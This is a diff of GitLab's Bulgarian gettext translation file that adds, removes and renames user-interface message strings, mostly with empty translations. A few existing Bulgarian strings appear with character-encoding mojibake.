@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr "Подадено от"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr "ПоÑледна Ñхема"
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr "Ðаучете повече в"
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr "Ðова папка"
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr "Ð’Ñички"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "Ðеактивно"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr "Въведете кратко опиÑание за тази Ñхема"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
